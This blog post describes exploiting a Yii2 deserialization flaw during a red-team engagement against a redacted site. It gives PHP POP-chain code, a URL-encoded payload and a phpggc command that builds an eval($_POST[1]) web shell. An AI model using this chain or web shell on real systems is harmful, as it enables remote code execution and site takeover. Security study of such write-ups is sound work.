记一次yii2实战反序列化过程

前言:yii2实战反序列化过程getshell的笔记,记录和分享下,同时也感谢小贺哥的分享

过程

hw期间碰到的,目标某厂商的源码二次开发的yii2的站点,如下图所示

发现某POST接口存在一个反序列化的点,其还需要接收一个POST的参数

https://xxxxxxx/web/index.php?r=接口&参数=6

因为尝试的时候发现了该站点yii2版本是<2.0.38的,因为发现通过BatchQueryResult的POP链可以直接进行利用,利用链代码如下所示

<?php
namespace GuzzleHttp\Psr7 {
class FnStream {
var $_fn_close = "phpinfo";
}
}
namespace yii\db {
use GuzzleHttp\Psr7\FnStream;
class BatchQueryResult {
private $_dataReader;
public function __construct() {
$this->_dataReader = new FnStream();
}
}
$b = new BatchQueryResult();
echo urlencode(serialize($b));
}

POC如下:

O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A24%3A%22GuzzleHttp%5CPsr7%5CFnStream%22%3A1%3A%7Bs%3A9%3A%22_fn_close%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D

是可以成功执行phpinfo的,但是会发现这个POP链条是通过call_user_func来进行执行的,所以需要传递相关的命令函数和执行命令的参数,但是如下call_user_func这种调用情况是不满足的

所以这里的话要么需要通过别的pop链来进行利用或者是在这个调用的基础上去寻找其他的调用链

这里通过phpggc中的yii2的利用链条来进行生成 https://github.com/ambionics/phpggc/blob/master/gadgetchains/Yii2/RCE/2/gadgets.php

生成命令为:./phpggc Yii2/RCE2 eval\(\$\_POST[1]\) | tr -d '\n' | xxd -plain | sed 's/\(..\)/%\1/g'

连接期间还有些bug,因为发送url编码的数据在蚁剑中会再次被进行url编码,所以我自己是通过burp进行替换来进行解决的,最终连接如下效果

posted @   zpchcbd  阅读(818)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示